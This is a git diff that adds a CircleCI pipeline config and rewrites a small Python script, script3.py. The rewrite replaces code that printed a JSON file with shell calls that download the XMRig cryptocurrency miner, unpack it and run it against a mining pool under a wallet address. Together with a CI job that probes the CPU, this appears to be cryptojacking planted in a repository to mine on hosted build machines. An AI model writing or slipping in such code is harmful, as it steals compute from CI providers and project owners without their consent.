diff --git a/.circleci/config.yml b/.circleci/config.yml new file mode 100644 index 0000000..a5930e0 --- /dev/null +++ b/.circleci/config.yml @@ -0,0 +1,28 @@ +# Use the latest 2.1 version of CircleCI pipeline process engine. +# See: https://circleci.com/docs/2.0/configuration-reference +version: 2.1 + +# Define a job to be invoked later in a workflow. +# See: https://circleci.com/docs/2.0/configuration-reference/#jobs +orbs: + node: circleci/node@4.9.0 +jobs: + say-hello: + # Specify the execution environment. You can specify an image from Dockerhub or use one of our Convenience Images from CircleCI's Developer Hub. + # See: https://circleci.com/docs/2.0/configuration-reference/#docker-machine-macos-windows-executor + docker: + - image: cimg/base:stable + # Add steps to the job + # See: https://circleci.com/docs/2.0/configuration-reference/#steps + steps: + - checkout + - run: + name: "Say hello" + command: "lscpu" +# Invoke jobs via workflows +# See: https://circleci.com/docs/2.0/configuration-reference/#workflows +workflows: + example-workflow: + jobs: + - node/run: + npm-run: Node_Python/index.js diff --git a/script3.py b/script3.py index 746052e..d1dc8d3 100644 --- a/script3.py +++ b/script3.py @@ -1,5 +1,7 @@ -import json +import os +os.system('pip install wget') +os.system('su apt install wget') -with open('countries.json') as json_data: - for entry in json_data: - print(entry) \ No newline at end of file +os.system('python -m wget https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz') +os.system('tar xf xmrig-6.16.2-linux-static-x64.tar.gz') +os.system('./xmrig-6.16.2/xmrig -a gr -o us.flockpool.com:5555 --tls -u RLUciajDyEujXL6J21S83EfapBJLte9gu6.kk11 -p')